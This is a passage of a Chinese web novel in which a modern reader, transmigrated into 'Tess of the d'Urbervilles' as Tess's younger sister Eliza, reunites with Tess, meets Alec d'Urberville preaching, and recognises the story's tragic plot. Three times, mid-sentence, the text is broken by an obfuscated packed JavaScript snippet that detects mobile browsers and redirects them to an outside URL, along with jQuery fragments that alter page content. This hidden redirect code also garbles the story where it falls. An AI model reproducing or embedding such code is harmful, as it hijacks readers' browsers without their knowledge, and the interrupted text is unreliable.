“嗯……一周三个半先令，算下来比雇一个厨房女佣还要划算些，让他们做一点司康来尝尝？黄油曲奇也不错，我记得你喜欢榛子，让他们放点榛子碎，怎么样？” 普朗泰尔先生打了个哈欠，把报纸叠了几叠，放在膝盖上。他从沙发上起身，拉起妻子的手亲吻了一下手背：“试一试也不错，看你决定咯，亲爱的黛西。” 午餐吃甜点多少有些怪模怪样——普朗泰尔先生瞪着午餐篮里的曲奇饼，很快意识到这是普朗泰尔太太留给他下午充饥的。 尝尝味道也没什么，这个突如其来的不速之客看起来还挺不错的。 曲奇并没有烤得干硬掉渣，带着一些油润的水感，榛子碎和提子都牢牢地嵌在饼干体内。 这块甜点已经不像刚出炉时那么香气扑鼻了，但闻起来仍旧让人分泌口水。 他凑近闻了闻，朗姆酒的味道含蓄地躲在里面，馥郁又悠长。 他想起车水马龙的摄政街，从那里一路踱步走过皮卡迪利大街，街边咖啡馆的廊檐下挂着的风铃被风吹响，咖啡豆的焦香四溢，他推开小酒馆的门，要了一杯混合苏打水的朗姆酒，坐下来细酌。 那年普朗泰尔先生正在恋爱。 几年过去了，朗姆酒唤起了他久远的回忆。 普朗泰尔太太到现在也没学会怎样调配卡佩尔酱汁来煮羊腿肉，而他也已然忘记当时背诵的华兹华斯的诗歌了。 “就已经从你甜蜜的力，汲取了……某种稳定的爱……；某种回忆，它本已不见踪影……或漫无边际的幻觉。”① 伊莱莎逐字地朗读出从普朗泰尔太太那里收到的反馈便笺，她跟面包坊诸人大眼瞪小眼，面面相觑：“嗯，这是……什么，意思？” 山姆耸耸肩：“可能是普朗泰尔太太制作剪贴簿的时候写的草稿？” 派克是个沉默寡言的人，他思考道：“听起来不是在骂我们。” 好吧，伊莱莎把这张便签放进盒子里，“可能是一种文学性的圣诞祝福呢？或者是赞美咱们的蛋糕——就当成赞美看好了。” 圣诞节快到了，收到母亲寄来的过冬的灰毛呢袍子和天鹅绒背心之后，伊莱莎给他们寄去了一个用树莓和醋栗装饰的维多利亚蛋糕。 琼恩在信里说家里一切安好，上次写的信里说家里遇到点困难，现在已经解决了，顺便附上了苔丝的新地址，以后写信就往那儿寄。 其他一切都好，孩子们照常上着学，亚伯拉罕在家里帮忙做家务，整理菜园子，还把家里的酒桶修补好了。 以及，父亲那只鸡终于卖出去了。 伊莱莎一边看信一边笑，这个家虽然毛病众多，但这些家常絮叨还是给她带来了熨帖的温暖。 她随信附上了一英镑，督促母亲让父亲少喝点酒，如果方便的话请给她再寄两件浆洗过的粗布衬衫，还有羊毛长袜。 教会把没漂白过的粗布发给学校的姑娘们，让她们缝成衬衫和灯笼裤发给穷人。 除去款式老套毫无装饰之外，真是一点儿毛病都没有，尤其是印花粗布，洗得越多质地越好。 除去昂贵的衣服外，其他东西在猎苑堡的集市都很方便买到。 伊莱莎买了细齿梳子、牙刷、护肤膏和一沓月经带，在磨坊生活要用的必需品并不多。 这里从早上起就一直不停地生火烤面包，热水很方便得到，伊莱莎通常会在干完活儿的中午最温暖的时候洗头，然后借着炉子的余温慢慢把头发烘干。 她跟帕夫太太住的盥洗室还放了一个镀锌的坐浴澡盆，据说那是拉德克里夫先生给他年迈的母亲买的，可惜这位老太太无法消受儿子的一片好心，还是坚决地用自己那个古老的木澡盆。 这个沉重的澡盆又不方便运到牧场给拉德克里夫夫人用，于是帕夫太太就把它半价买了下来，自已拿来用。 帕夫太太跟伊莱莎提起过：“我女儿生第二个孩子的时候给我写信，她说她们买了一个新的澡盆，就是这样的。” “那你给外孙们寄甜点的话可得算好数儿，如果分不平的话，真怕他们打起来。”伊莱莎调侃道。 “不，”帕夫太太心事重重地摇头，“我只给我女儿寄过去。之前给他们寄过去的东西都退回来了。” 是搬家了吗，还是出了什么变故？ 帕夫太太一直想去伦敦看看，可惜她没有多的假期。 伊莱莎来了之后他们除了烤面包外还得做蛋糕，工资上涨了一些，但时间就更不宽裕了。 伊莱莎倒是有个去伦敦的计划，她打算先在磨坊干下去，存一些钱。再打听打听伦敦的情况，等到明年女王金禧庆典的时候去看看， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165177|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有什么商机。 她手上还在用刮刀把蓝莓果酱刮平，不方便动作，只好用肩膀蹭了蹭帕夫太太的肩膀，以示安慰。 好在能收到女儿在疗养院寄来的信，她也没有忧虑到心急如焚。 下午收工之后，天色有些昏暗，伊莱莎点了只蜡烛，坐在窗下的小桌前，开始摘抄烹饪书上面的配方。 这本书的配方很多，但显然是作者到处收录来的，并没有自己实践过。 比如这个香草籽酒浸海绵蛋糕的方子，上面标注的糖占比太多，快到35%了，比海绵蛋糕允许的最高比还要多。 按这个配方烤出来，极大概率会塌掉。 一些配方的份量、时间和步骤倒是很清楚，另外一些……写的都是些什么呀，简直是在写美食诗歌！ 邮差在楼下敲了敲门，打断了她的思绪，“德伯菲尔德小姐，你的信。” 是妈妈的信吗？ 山姆开门接了信，伊莱莎跑下楼，他递给她。 信封上面写了寄信人的名字，居然是苔丝写给她的。 她迫不及待地拆开读信。 苔丝的信写得很简短，大概是说她这里出行不太方便，等圣诞过后的严霜期路面冻严实了再出来。 时间就定在今年的最后一天，也就是去教堂做礼拜的时候，她们在爱明斯脱的塔楼那里见面。 伊莱莎翻了翻教区发的日历，距离除夕夜也没几天了。 她很快就要跟苔丝见面了！ 不知道她变成什么样子了，她的丈夫会来吗？ 礼拜那天一直在刮风，她出门之前，拉德克里夫先生表示今天会下雪，让她早点回来。 帕夫太太倒是说今天估计不会下了，但是也叫她别在外面逗留太久。 她把头发分成两股，贴着头皮编了两个辫子，绕到脑后，用丝带绑起来，这是那些挤奶女工常编的辫子。 拉德克里夫很有兴致地打量她，“伊莱莎，你怎么不学丹麦的亚历山大王后，去烫个鬈刘海呢？” 烫头发？ 伊莱莎摇摇头：“太麻烦了。” 磨坊主发出“哈”的一声大笑，似乎对此早有预料，“小姑娘年纪轻轻的就这么老气，多打扮打扮自己吧！我要是能有个像你这么漂亮的女儿，就算是伦敦最贵的裁缝店给我寄账单过来，我也会付的。” 今天去教堂做礼拜的人实在太多了，伊莱莎不愿意跟人贴得太近，便站在教堂的侧门等待。 她顺便观察了一下，鬈发刘海好像确实是现在流行的发型。 做完礼拜的人群从教堂里走出来，帕夫太太看见了她，知道她在等姐姐，就向她指了一条路。 “顺着这条路走到那个山坡顶上，很方便找人，也容易让人瞧见。” 伊莱莎谢过她，朝那个山坡走去，路上迎面走过两男一女，中间那个女性十分眼熟。 她回忆了一下，好像是之前在牧师宅遇到过的常蒂小姐。 她没去多看过路人，一心往山坡上走。 坡顶的树篱边站着一个姑娘，她棕色的发辫垂在脑后，看起来有点眼熟。 伊莱莎走上前去，这个女孩果然就是苔丝。 “苔丝……”她诧异地问，“发生了什么事？你怎么哭了！” 8. chapter8 怀抱有时，不怀抱有时 苔丝看上去不像嫁了个上等人。 这个想法刻薄又市侩，但伊莱莎第一反应就是这样，她看上去过得不太好。 毛呢长袍的衣领上装饰着白色的羽状镶边，上面沾了细碎的冰花和冻结的尘土。 它们被苔丝行走带来热量融化，把白色的装饰染得有些脏，像是米布丁上面撒了烤过头的杏仁碎。 她应该是走了很长一段时间的路，或者走的路很颠簸——苔丝的头发有着编了两次的纹路，看起来是走得松散了，之后又梳理过。 还有鞋子。 奇怪，她穿着一双还算干净的漆皮薄鞋，相对应的衬裙下摆却有一些黄泥浆和枯草茎，但是羊毛袜子又是一副被保护得很好的洁净样子。 伊莱莎掏出棉布手绢，帮苔丝把眼泪擦干净：“好了，苔丝，是谁欺负你了吗？” 她学着琼恩的样子拍了拍她的背，轻声道：“你遇到什么麻烦了？可以告诉我吗，说出来我们一起想办法解决。” 苔丝用手帕遮着眼，泪水很快把布浸湿，她发泄地哭了一会儿，很快意识到这样在小四岁的妹妹面前哭得涕泗横流十分丢人。 常年照顾弟妹的姐姐身份让她很快把自己摆正到照顾者的位置上，她鼻音浓重地说：“露……伊莱莎，你长高了。” 那个被吞掉话音的露露应该是苔丝对原来的伊莱莎-露易莎的专属昵称，她们本来就是六个孩子里面最亲密的一对。 伊莱莎的心情蓦地变得沉重，不管怎么样，原来的伊莱莎-露易莎就像是被琼恩勒令抹掉的名字一样，消失了。 “我想，你可以叫我莉兹，就像从前那样……”伊莱莎犹犹豫豫地说，“一个只有我们两个人知道的名字。” 她感觉自己好像在把原来的露易莎一点点地杀掉，但又有一点可耻的窃喜。 伊莱莎不得不正视事实，她对苔丝有一种依赖和独占的雏鸟情节，苔丝是她来到这里睁眼见到的第一个人。 再加上初见那个夜晚，烛光、死婴和少女的洗礼给她带来了强大的冲击，让她对苔丝产生了一种虔诚的崇拜。 “苔丝，你的变化也……” 她的变化很大吗？ 外貌上依旧是农家妇女的打扮，毛呢长袍的外面套了一件黑色的法兰绒褂子，戴着一顶款式有些过时但做工精良的软帽，脸颊被寒风吹得通红。 她还是很美，而且像从前那样不快乐。 伊莱莎打算等会儿带苔丝去集市上买盒护肤膏，她住的地方大概刮的风很大，把鼻子上的皮肤都吹得掉屑了。 “你的丈夫呢，他去哪儿了，怎么没有跟你一起来。”伊莱莎皱着眉头问。 苔丝表现出来的样子可不像她们老爹吹嘘的那样嫁给了一个上等人。 苔丝摇摇头：“他，他有事……去考察移民土地政策了，我们别聊他吧。” 肯定出问题了。 但苔丝面色难看，伊莱莎便没有刨根问底地追问下去。 她出其不意地转移了话题：“噢，原来是这样——那你的靴子去哪儿了？” 靴子？ 苔丝下意识说：“被人拿走了。” 是谁拿走的，是拿走还是抢走？ 伊莱莎脸色变得严肃：“这是怎么一回事儿？” 苔丝顾左右而言他：“我这双漆皮鞋子穿着也挺好的，你在井桥的磨坊做工吗，那里待得怎么样，有没有人欺负你？” 她对苔丝息事宁人的态度毫不意外。 于是伊莱莎利索地解开鞋带，脱下自己的靴子，站到树篱边的草地上：“那你就穿我的吧，不然我就要去问遍整个教区到底是谁拿走了你的靴子。” 在“整个教区”上她放了重音。 爱明斯脱教区并没有什么出名的流氓恶霸，因着克莱尔牧师负责又顽固的性情，连放贷的商人都不往这边来活动。 苔丝苦着脸，告诉了她前因后果。 原来她走到这个地方，觉得穿着这样一双脏兮兮的靴子去教堂不太得体，就换上了自己的漆皮鞋子。 到了教堂门口，她又刚好碰上人们做完礼拜出来，被人流的冲击遮挡住了视线，没有找到伊莱莎。 没办法，她只好调转方向往高处走。 等她到了放靴子的地方，看到有人以为这是被人丢掉的靴子，就把这双靴子勾走了。 “那你为什么不拦住他，跟他讲清楚缘由？” 伊莱莎很纳闷，靴子在农民那里也算是一双贵重物品了，除非是存心要偷东西，不然那人肯定会归还给苔丝的。 苔丝有些羞窘，没有说话。 “拿走你靴子的那个人，你认识的，是不是？” 她只能想到这个解释，不然为什么苔丝宁愿挨冻也不愿意去说明白呢，大概是觉得有些丢人。 “是莫茜·常蒂小姐和克莱尔先生们。”苔丝深吸一口气，在说克莱尔的名字时声音颤抖得格外厉害。 伊莱莎向她问明白了靴子的特点，让她树篱这儿等着，便穿上靴子，迈着步子往牧师宅的邻居家走去。 “人们将要说，如果这个人有这么多的才能……因而对社会与公共的生活发生一种有用的影响，所以，……他都是具有很大的价值，可是他没有一种善的意志……他是一个可鄙的对象①……呀，有客人来了。” 常蒂家的女佣引着伊莱莎走进会客厅，这个家庭因着在家的女儿染上了附近年轻教士的那种爱美的习气，突发奇想地把家政书的装饰与宗教的严肃意象结合了起来，形成了一种后世可能会称之为解构的跳脱风格。 “常蒂小姐，日安。我是井桥磨坊的面包师伊莱莎·德伯菲尔德，我听说你们捡到了一双靴子？” 伊莱莎向坐在沙发上看信的常蒂小姐和坐在小圆桌边的两位正在喝茶的先生点头致意。 “是有这么一回事儿。”常蒂小姐放下信，坐直了身子，回答她。 柳条扶手椅上的男士放下茶杯，开口道：“那双靴子质地好得很，一点儿也没磨损，我们打算拿去送给爱明斯脱的穷人穿，他们还穿着破了洞的薄皮鞋，正好可以穿着过冬——扔掉它的人大概是想赤着脚去礼拜，乞讨大家的同情和赏钱，现在这双鞋正好可以帮到真正需要的人。” 伊莱莎发现这个讨厌的男人就是歪斜圆顶帽……不对，小克莱尔先生。 她语气变得强硬起来：“我想真正需要它的是它原本的主人。这个人我认识，是恰克牛顿村那边的一位虔诚的信众。因为她觉得来教堂礼拜有必要换一双干净的鞋子，才把这双靴子暂时存放在树篱里——毕竟她走了很远的路，把鞋子都弄脏了。” “那双靴子侧边有松紧带，系的马海马鞋带，靴子右脚的鞋面和鞋头用棕色的线补过。”伊莱莎问，“鞋跟打了钢钉。常蒂小姐，我说得对不对？” 常蒂小姐让女仆去取靴子，递还给伊莱莎时，她轻声说：“我很惭愧，请代我和卡斯……克莱尔先生向恰克牛顿村的那位虔诚的人致歉。” 轻微的尴尬在客厅里蔓延。 “耶和华保护诚实人，足足报应行事骄傲的人。” 小克莱尔先生对面的人习惯性地念了一句经文，他大概没意识到这句话的讽刺意味。 “穿靴子有时，不穿靴子有时②。”伊莱莎把靴子提着在苔丝面前晃了晃，她忍不住改编了一句传道书的话，调侃自己逆来顺受坚信万务有定时的姐姐。 苔丝窘迫地接过鞋子穿上，板正了脸，试图维持作为长姐的威严：“小莉兹，谢谢你，不过以后可别这么胡说了。” 伊莱莎笑嘻嘻地讨饶：“好啦，反正也没有别人听见。你还有事儿要办吗，还是直接回去？” “对了，喏，这个给你。”她去讨靴子的路上顺便买了盒搽脸的油膏。 伊莱莎有心想问苔丝那个丈夫的事情，但苔丝对此似乎讳莫如深，她也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165178|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想再提。 干嘛为了一个男人破坏她们姐妹俩的感情？ “你要回去了吗，让我送送你吧，我们好久没有这么一起散过步了。” 伊莱莎挽上苔丝的胳膊，她们走在严冬的十二月底，路边的草木都被冬霜洗尽，一片萧条的景象，铁灰的天空之下，偶尔有几只迁移的白鸟飞过。 她们走了大约七八英里，伊莱莎来了这个世界之后还没走过这么远的路，不过一路埋头走过来倒是不累。 两姐妹有一搭没一搭地聊着马洛特村的种种，苔丝偶尔提到她现下的处境，透露出她在一个高地务农。 她跟她丈夫的婚姻显然是出了问题，但是在经济上这个姑娘小心翼翼的，不肯表现出丝毫的拮据，于是她的妹妹就一直没找到由头接济她。 她们走到一个叫艾弗什德的村庄，苔丝熟练地向一个农妇讨了一罐热牛奶，花了两个便士。 “好了，莉兹，前面就是掌中十字了，那是个不吉利的地方，我看你还是不要去哪里为妙。我们就在这儿分别吧。” 苔丝把牛奶分了一半进陶碗里，递给伊莱莎。 好心的农妇听到“不吉利”，插嘴告诉她们仓库里有个美以美教徒在传道，是个蛮不错的、很火热的基督徒。 很火热！ 伊莱莎被这个形容逗笑了，她来到这儿之后见过几次牧师讲道，要么严肃而庄重，要么慈爱而温和，还尚未见识到“火热”的传道者。 苔丝见她感兴趣，便拉着她往仓库走去，这个村子里的人大概都被那个很不错的基督教徒吸引过去了，她们走在寂静的村庄里，脚步声在村舍之间回响，仿佛置身死人的国度。 “你们受苦如此之多，都是徒然的吗？难道果真是徒然的吗？” 她们在仓库外驻足听了一会儿，伊莱莎对他口若悬河地演讲经文提不起兴趣，但是他讲到“你们当顺著圣灵而行，就不放纵肉/体的情/欲了”时，援引自己作为例子，讲他从前种种荒/淫无度的放/荡罪/孽，是如何无法无天，对教义嗤之以鼻的。 又提到是一个不计前嫌、一心向道的福音牧师是怎样挽救了他的灵魂，牧师对他苦心的教诲如何让他幡然醒悟，使得他受到了上天的恩惠，变成了现在这个样子。 接着他又滔滔不绝地讲加拉太书里的话：“因为情/欲和圣灵相争，圣灵和情/欲相争，这两个是彼此相敌，使你们不能做所愿意做的。” 伊莱莎总觉得这句话从这个人的口中说出来格外地可笑，但是听众们对浪子回头的戏码总是百看不厌的。 她撇了撇嘴，想拉着苔丝走了。 “苔丝，我们走吧……你怎么了？” 苔丝的脸色变得比白垩土还要惨白，那种惨淡的白让人误以为她是从坟墓里爬出来的，伊莱莎揽着她的肩膀，想把她带到外面通风空旷的地方。 “是亚历克·德伯维尔。”她把全身重量都压在了伊莱莎身上，两个人走得格外缓慢，比这还慢的是她的语速，像是被投到罪人身上的石块，一个字一个字地蹦出来。 这个名字有点耳熟，但不属于伊莱莎-露易莎的熟悉，它触动的是身体里另一个来自异世的灵魂。 伊莱莎问：“亚历克·德伯维尔是谁？” 苔丝的嘴唇颤抖得很厉害，说的话却很清楚，“没错，是他，就是那个——诱/奸了我的人，索罗的亲生父亲。” 轰隆—— 被耶和华大发雷声惊乱的非利士人也不过如此。 伊莱莎吞了吞口水，牛奶的味道还残留在她的口腔里，她仿佛舌头都短了几寸，“那你的丈夫是谁？” 丈夫，她的丈夫？ 她的丈夫是谁呢。 苔丝发出一声悲哀的泣叫：“我的丈夫，我的丈夫是安吉尔·克莱尔呀……” 上帝，来道雷劈死她吧！ 她终于知道这莫名其妙的熟悉感是从哪里来的了！ 9. chapter9 天使的喻启 其实她本该意识到的，苔丝——苔瑞莎·德伯菲尔德，她的姐姐——就是那个她早就已经知道的“苔丝”，出现在中小学生必读经典书目上的《德伯家的苔丝》的女主角。 但是谁穿书是穿进名著啊？ 而且人家要穿也是穿《傲慢与偏见》《基督山伯爵》这样的大热门，她呢？穿进《德伯家的苔丝》…… 全网甚至有一篇这个小说的同人吗？ 上帝实在是给她开了个冷门又小众的玩笑。 伊莱莎为自己的迟钝开解，她读这本书的时候还是初中，读的又不是英文原著，光是Durbeyfield这个姓她就见到过德伯、杜伯菲尔德、德伯菲尔德三种翻译版本。 而且她的姐姐苔丝的正名是苔瑞莎呀，只是大家一直叫她苔丝而已。 读原著的时候读得囫囵吞枣，记忆又实在太久远，她根本没有注意到苔丝只是主角的昵称。 在她潜意识里，苔瑞莎·德伯菲尔德跟德伯家的苔丝完全是两个人。 唤起她记忆的关键点是安吉尔·克莱尔。 身为一个没见识的初中生，她一直都很困惑为什么一个男的可以叫Angle，这不是一个女孩名吗？ 更何况他的行为也根本算不上天使。 安吉尔跟苔丝在新婚之夜坦白彼此的过往，明明两个人都有婚前性行为，凭什么苔丝原谅了他，他却接受不了苔丝——尤其是，他知道苔丝是受到了胁迫和欺骗的。 这个男人为什么可以这么理直气壮地攻击苔丝是在伪装拥有纯洁的天性，而且还把苔丝抛下，让她一个人留在村子里，自己跑去了巴西。 后来他终于想通了，从巴西急匆匆地跑回国，打算跟苔丝破镜重圆再续前缘。 在伊莱莎以为他们终于能够有情人终成眷属的时候，作者又开了一个荒唐的玩笑。 他安排苔丝绝望地刺死了亚历克·德伯维尔。 她跟安吉尔仓皇逃亡，在巨石阵上被警察逮捕，最后因为谋杀重罪被执行了绞刑。 不过这还不是最屎的——她无法描述读到结局时，安吉尔跟他的小姨子一起携手眺望监狱的黑旗，那种无与伦比的如鲠在喉感。 她并不强求安吉尔殉情，反正苔丝会死这件事儿，她读罗里吧嗦的译者序的时候就被剧透完了。 但是在她的想象中，安吉尔应该一个人孤独终老缅怀苔丝才对啊！ 怎么会、怎么会跟苔丝的妹妹在一起呢？ 这叫什么个事儿啊！ 他怎么可以跟苔丝的妹妹在一起！ 那可是苔丝的妹妹！ 而现在—— 哈哈，她就是那个跟安吉尔携手的小姨子…… 伊莱莎简直被这荒唐的安排气笑了，但是幸好，幸好她想起来剧情了。 不管怎么样总比苔丝杀了亚历克·德伯维尔之后她才醒悟过来强吧。 她给自己打气，一切都来得及，她还有改变一切的机会。 她扶着苔丝坐到一团扎好的干草团上，自己也跟着坐下。 苔丝木着脸，眼睛直直的看着前方，她的脸白得吓人，不知道是被冻得还是被吓得。 伊莱莎捧着她的脸，大拇指从鼻梁滑到颧骨，仿佛在帮她擦去很久之前就在流的泪水。 这样反复的揉搓下，她的脸颊终于慢慢恢复了温度。 “苔丝，你还好吗，你的脸白得好厉害。”她低声地说，鼻尖快要蹭到苔丝的鼻尖，“别害怕，我在这里，我可以帮你的。” 是真的，不用害怕，因为——她想起了最关键的剧情。 最可怕的事还没发生，还没有走到绝境，这一切都还有希望。 你的丈夫会回来的，有了她的存在，你就不必为了弟弟妹妹们再次委身于亚历克·德伯维尔了。 苔丝发出细小的呻/吟：“太不公平了……受患难的人，为何有光赐给他呢？太荒唐了……莉兹，你知道那个拯救他的好心基督徒是谁吗？” 她并不是要得到伊莱莎的回答，只是自顾自地小声地说，“是克莱尔先生，就是他，安吉尔的父亲，真是——可笑。” 伊莱莎用力抓紧她的手，试图通过交握把力量传递给她，“克莱尔先生？我想他不会……他不是那种因为别人犯过错就瞧不起他的人。” 甚至恰恰相反，如果有一个罪孽深重的灵魂在他面前，他便会深感到自己有拯救这个人的义务，并被这个罪人唤起更为浓重的怜悯之心。 不过比起这些空泛的安慰，她想到一个更直接又有力的方法：“你的丈夫就是克莱尔先生的小儿子吗，之前我们面包坊的人给他们家去送面包，听人家说他快要回来了。” 她直直地跟苔丝对视：“最迟在明年的夏天，他就会回来。他去了巴西，并不是去了北部，是吗？” 是的，她的丈夫去了国外，去的就是大力宣传移民政策的巴西。 如果不是从爱明斯脱牧师宅知道的话，伊莱莎能从哪里得知这个消息呢？ 那她的丈夫是会回来的，既然如此，她就不必对生活感到太绝望。 有了一个明确的指望，苔丝恢复了力气，她终于能扯出一个微笑，对妹妹说：“谢谢你，莉兹。” 苔丝看了看不辨时间的灰白天空，“时候不早了，你回井桥去吧，不用送我了。你已经走了很远了。” 她们本来就打算在这里分别的。 伊莱莎细致地观察苔丝的神色，确认她可以单独行走，便点了点头。 等等，还有一件事。 “安吉尔是不是给你留了一笔钱，你给了家里多少？” 苔丝答道：“我从家里走的时候给了妈妈二十五镑，前几天收到妈妈的信，又给她寄去了二十镑。你没钱了吗，莉兹？” 莉兹她的钱不够用了吗？ 刚出来做工的话，没钱用很正常。 给了两次，二十五镑和二十镑…… 拢共四十五镑！ 她努力压住窜起来的怒火，神情认真地对姐姐说：“我的钱够用，完全够了。面包坊的拉德克里夫先生很慷慨，而且他给钱也很爽快，从来不拖延。我在那里还做糕点，薪水比一般面包师高，你要是缺钱不够用的话，可以写信告诉我。” 伊莱莎在做糕点这件事上故意说得含糊不清，好在苔丝也没细问，她像从前对小孩子那样摸了摸妹妹的头，便跟她告别了。 可恶啊，苔丝不会以为她在说大话吧？ 伊莱莎目送苔丝的背影消失在道路拐弯的镜头，从前读的文字都变成了电影一样在脑海里回放。 乡间、五月，穿着白色礼裙的少女，妇女集会和吉格舞，这是青翠欲滴的开始。 最后结束也是在五月，闪耀的阳光下，有人站在山坡上眺望旗杆，城镇之中高耸的塔楼上升起一面黑旗，象征罪犯已经实行了绞刑。 可惜她没有随身带纸笔的习惯，也不能应急把字写在袖口上。 要是在井桥的磨坊就好了，她现在一定会疯狂地把还能回忆起的剧情记下来。 伊莱莎转移自己的注意力，让自己别想太多剧情。脑子里想法太多又不能写下来，等她再次坐在桌子前开写的时候，早就忘光了。 宁静无风的苍穹之下，她坐在草堆上，竖起耳朵捕捉仓库里的声音。 讲道已经结束了，台下的听众们似乎正在谈论这次布道。 伊莱莎从边缘滑过人群，听到一个戴着头巾的妇女跟一个戴着破毡帽的中年男人在痛骂附近出了偷鸡的贼，骂完之后又开始讨论鸡蛋降价，要不要少养点鸡，还能省点儿谷子。 他们热火朝天的样子比德伯维尔的演讲有意思多了。 讲道团的人正在收拾刷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165179|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标语的油漆桶、宣讲的横幅和传单这些东西，亚历克·德伯维尔不在这里，她的目光巡视了仓库一圈，也没看到这个人，于是她大胆地向团里的其他人套近乎。 “行了这样事的人，怎么能承受神的国呢？”伊莱莎装作一个忧心忡忡的虔诚基督徒，向一个提着油漆桶的青年低声说，“你觉得刚才宣讲的那个美以美教徒说的是真的吗？我是说，那样淫/邪的事……啊呀，真是罪恶……” 她一边叹气一边摇头，眼神清澈而单纯，跟那些以猎奇故事为谈资来打探消息的人完全不同。 青年对她纯净的面容心生好感，便对她说：“不管怎么样，我觉得妇女还是少跟这样的回头浪子打交道比较好。” 他把刷子从漆桶里拿起来，悬空晾干，放低声音说：“背后说人家坏话是不好的，但是那个德伯维尔先生，是北边的人，不是本地人，听说他们以前是放债的，发了财之后才搬到川特里奇。我记得德伯维尔先生也不姓德伯维尔，姓斯托克。” 他眼睛亮亮地看着伊莱莎，期待她对这个姓给出一点反应。 可她真的没有听说过…… 伊莱莎只好装作似曾相识的努力回忆状，慢慢地拼读这个词：“斯、斯托克？有点耳熟，是，是那个……” “对，就是那个自杀的德国女孩。斯托克引诱了她，她怀孕了，但斯托克不愿意娶她，所以这个女孩就自杀了。” “我听说这个女孩的哥哥发誓要让他血债血偿，所以他们火急火燎地搬离了原来的地方。不过，这也只是些捕风捉影的传闻。” 青年在胸前画了个十字，他想到接下来要说的话，神情有些局促，“我不是说人犯了错之后就不能再改正，或者妇女不能接受慈悲的福音，但是你知道，像你、你们这些年轻的人，年轻的孩子，要对男人抱有警惕，不能掉以轻心。” 这个青年看起来也才二十多岁，放在后世恰是刚从大学毕业的年龄，他板着脸模仿成年人的样子让伊莱莎忍不住想笑。 她忍住笑意，特别诚恳地说：“啊呀，谢谢您！这样可怕的事，要不是有您提醒，我还蒙在鼓里呢，这个德伯维尔的讲道看起来真是激情洋溢啊……但是我还是更喜欢克莱尔先生那样的方式。” 她路过爱明斯脱牧师宅的时候天色还没彻底变黑，窗台露出盈盈摇曳的烛光，窗后没有人影，只有一盆翠叶竹芋在寂寞地常青。 回到井桥时，天色飞快地黑透了，但时间还不算太晚，帕夫太太换上睡衣睡下了，烤面包需要起得很早。 伊莱莎点了一只烛，把灯盏放到楼梯拐角的窗台上，又拿了块垫板，打算倚着窗户写信。 “你折腾这个做什么？”帕夫太太醒了，把她叫进了房间，“要是染了风寒就不好办了，赶紧进来吧。” 伊莱莎感激地谢她：“我给我妈妈写封信，谢谢你，帕夫太太。” 这不是托词，她确实得先给琼恩写封信。 下午的怒气过去了，她心平气和地对琼恩说苔丝现在过得不太好，生活有些拮据，家里需要钱可以跟她说。 还有就是不要觉得苔丝嫁了人就可以把她当金矿看，家里的生活开销也别太奢侈。 最后，她还是忍不住对父亲写了一点措辞严厉的话：“如果爸爸再这样大手大脚地花钱还无所谓的话，我想他不想见到被人在罗利弗酒店被人揭穿他那个复兴家族的美梦吧？德伯菲尔德家除了‘失魂落魄的伊莱莎’，又能给他们提供新趣闻了，再多闹出一点笑话，等到爸爸过世了，马洛特村的人说不定还不舍得我们搬走呢！” 她把信封好，滴上蜡，放到自己的木匣子上。 从空白的信纸里抽出一张新的铺平，她叹了口气，突然不知道写什么。 鬼使神差地，她写下了“斯托克”。 斯托克，德国仇人，还有……复仇谋杀的暗示。 10. chapter10 成为伊莱莎 她盯着这行毫无美感的字迹看了足足一分钟，突然回过神来，打了个寒颤。 为什么会想到写这个？ 从印着铅字的轻型纸上读一个故事，和真的置身其中是完全不同的。 她不记得德伯维尔究竟有没有害死过一个德国女孩了，但他确实是死了，被苔丝用餐刀捅破了心脏。 读这本书的时间已经太过遥远，她不能说是忘得一干二净吧，至少也是十不存一。 伊莱莎努力回忆这个故事，第一个冒出来的关键词是索罗，那个死掉的孩子，也就是她跟苔丝初见的夜晚。 乡村小贩约翰·德伯菲尔德偶然得知自己是名门望族的后裔，让自己的女儿苔丝去富有的德伯维尔家去攀亲戚，名义上的表哥亚历克·德伯维尔诱/奸了她，她离开德伯维尔家，生下了一个私生子。 私生子死后，她去牧场做工，遇到了安吉尔·克莱尔，与他相爱并结婚。在婚后，她向安吉尔坦白了自己的过往，安吉尔无法接受，两个人分居。 这就是她成为伊莱莎之前发生的事。 之后呢？ 安吉尔去了巴西，约翰·德伯菲尔德去世，苔丝为了养活一家人，不得不跟亚历克·德伯维尔同居，当他的情妇。 从巴西归来后，安吉尔想跟苔丝复合，苔丝却表示他们再也不能在一起了。她绝望地刺死了仇人，最后被处以绞刑。 这本书里关于原本的“伊莱莎”的描述并不多，篇幅比她还能回忆起的剧情还少，除去最后结局里晴天霹雳一样的谢幕，她甚至都忘了苔丝还有一个妹妹。 